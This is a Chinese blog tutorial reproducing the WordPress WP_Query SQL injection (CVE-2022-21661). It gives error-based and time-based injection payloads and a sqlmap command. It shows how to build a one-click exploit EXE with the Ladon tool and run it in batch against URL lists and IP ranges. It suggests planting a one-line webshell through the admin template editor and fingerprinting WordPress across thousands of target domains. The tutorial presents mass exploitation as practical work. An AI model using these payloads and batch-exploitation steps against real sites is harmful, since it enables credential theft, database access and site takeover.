LadonExp教程CVE-2022–21661 WordPress漏洞复现

admin 2022年7月28日09:44:20评论1,948 views1字数 2618阅读8分43秒阅读模式

LadonExp教程CVE-2022–21661 WordPress漏洞复现


漏洞概述

2022年1月6日,wordpress发布了5.8.3版本,修复了一处核心代码WP_Query的sql注入漏洞。WP_Query是wordpress定义的一个类,允许开发者编写自定义查询和使用不同的参数展示文章,并可以直接查询wordpress数据库,在核心框架和插件以及主题中广泛使用。


影响范围
wordpress 4.1-5.8.2


复现环境

https://wordpress.org/wordpress-5.8.zip

环境: phpstudy2018 + php 7.2.0 nfs + apache


PS:  傻瓜式环境,还不懂搭,要打屁股


文件functions.php添加以下代码

function wp_query_test(){echo 'test-cve-2022-21661';
$inputData = stripslashes($_POST['data']);$jsonDecodeInputData = json_decode($inputData,true);$wpTest = new WP_Query($jsonDecodeInputData);wp_die();}
add_action('wp_ajax_nopriv_test','wp_query_test',0);

LadonExp教程CVE-2022–21661 WordPress漏洞复现


开启debug
文件wp-config.php

define( 'WP_DEBUG', true )

开启调式模式Poc

action=test&data={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["111) and extractvalue(rand(),concat(0x5e,user(),0x5e))#"]}}}

默认未开debug模式

action=test&data={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["111) or (select sleep(2))#"]}}}


判断有无方法

Post提交action=函数名,如果存在返回0, 不存在返回400

LadonExp教程CVE-2022–21661 WordPress漏洞复现



0x001 Burp提交

按原文章给的POC测试,成功回显用户信息

LadonExp教程CVE-2022–21661 WordPress漏洞复现


0x002 飞刀提交

但实际上有很多参数并不是必须的,如Set-Fetch-**,如图只提交POST数据


LadonExp教程CVE-2022–21661 WordPress漏洞复现


0x003 LadonExp提交

由于经过验证,其它字段不是必须的,所以可以用LadonExp来一键生成利用工具。如图所示填写相关信息后,点击Build EXE可一键生成exe,EXE可独立使用,也可Ladon批量高用。可点击Test EXE一键测试POC,也可独立命令: LadonPoc48.exe http://192.168.1.14/wp58 测试

LadonExp教程CVE-2022–21661 WordPress漏洞复现


独立命令:  

LadonPoc48.exe http://192.168.1.14/wp58


批量命令:

Ladon url.txt LadonPoc48.exeLadon ip.txt  LadonPoc48.exeLadon 192.168.1.1/24  LadonPoc48.exe

PS:  大家一定要学会举一反三,将LadonExp应用于其它漏洞,大部分Web漏洞都可以直接一键生成EXP,然后批量利用,根本不需要你学编程。当然你懂自然更好,不懂,一样可以“开发”EXP工具,Ladon就是你的“编程工具”


0x004 SqlMap注入

由于默认不开启debug模式,实战可能无法回显,对于延时注入,手工可能不太现实。如图所示使用sqlmap查询当前用户,竟然花了250多秒差不多4分钟,这个在可显注的条件下,仅仅只需1秒钟啊。当然我们不怕目标漏洞利用麻烦,只怕目标没有漏洞,你连麻烦的机会都没有。

python sqlmap.py -r wp58.txt --dbms=mysql

LadonExp教程CVE-2022–21661 WordPress漏洞复现


受影响插件分析

搜索new WP_Query并找可控数据类似new WP_Query($controlData);

PS:相当多的插件和主题受到该漏洞的影响(authen 和 unauthen)


0x005 后台GetShell

跑出密码,进入后台后有很多方法getshell,其中一种是直接模板插shell

LadonExp教程CVE-2022–21661 WordPress漏洞复现


如下图插入phpinfo,实战自行插入一句话webshell

LadonExp教程CVE-2022–21661 WordPress漏洞复现



WordPress识别

假如给你的目标有2000多个域名IP,你怎么做,一个一个手工访问?看哪个是WP,然后再打?肯定不能手工啊,单独打开网站看个版本信息,都不知道要花多长时间。何况你还要根据版本、网站上装的各种插件版本分析,然后寻找相关主题或插件是否有漏洞。很明显手工不现实吧,哪怕是几个人同时做,如果大家还要其它事情要做,就更加了,所以还是得Ladon来做,只需要识别好一个特征,然后直接批量识别,整个流程下来不过几分钟。

Ladon url.txt WPinfoLadon 192.168.1.8 WPinfoLadon 192.168.1.1/24 WPinfoLadon ip.txt WPinfo

通过WPinfo插件

可以批量训别url.txt中使用wp的站点以及版本信息,还有多种方法探测WP主题、插件版本等信息,方便我们查找相关插件漏洞,进行下一步渗透。如下图所示有59个站点使用WP,是吧2000多个站点,我们只需要看59个,再细看下符合漏洞版本的,一套下来,我们就不用浪费太多不必要的时间。

LadonExp教程CVE-2022–21661 WordPress漏洞复现


通过WhatCms模块

Ladon url.txt WhatCMSLadon 192.168.1.8 WhatCMSLadon 192.168.1.1/24 WhatCMSLadon ip.txt WhatCMS

WhatCms探测多个Web端口,如80、8081等20多个常见web端口,所以对于同一份列表,可能WhatCMS探测到的WP站点会比WPinfo模块要多

LadonExp教程CVE-2022–21661 WordPress漏洞复现


PS:WPinfo和WhatCMS 工作方式同,结果可能不同,建议都使用。

WhatCMS可以识别几百+未知CMS和86+已知CMS,WPinfo只能识别WP


WPinfo独立版

该程序为GUI,每次仅能探测一个站点信息,这个适合打指定站

LadonExp教程CVE-2022–21661 WordPress漏洞复现



参考

https://kiksecurity.com/blog/sql-injection-in-wordpress-core-cve-2022-21661/

https://xz.aliyun.com/t/10841

原文始发于微信公众号(K8实验室):LadonExp教程CVE-2022–21661 WordPress漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月28日09:44:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   LadonExp教程CVE-2022–21661 WordPress漏洞复现https://cn-sec.com/archives/1206142.html

发表评论

匿名网友 填写信息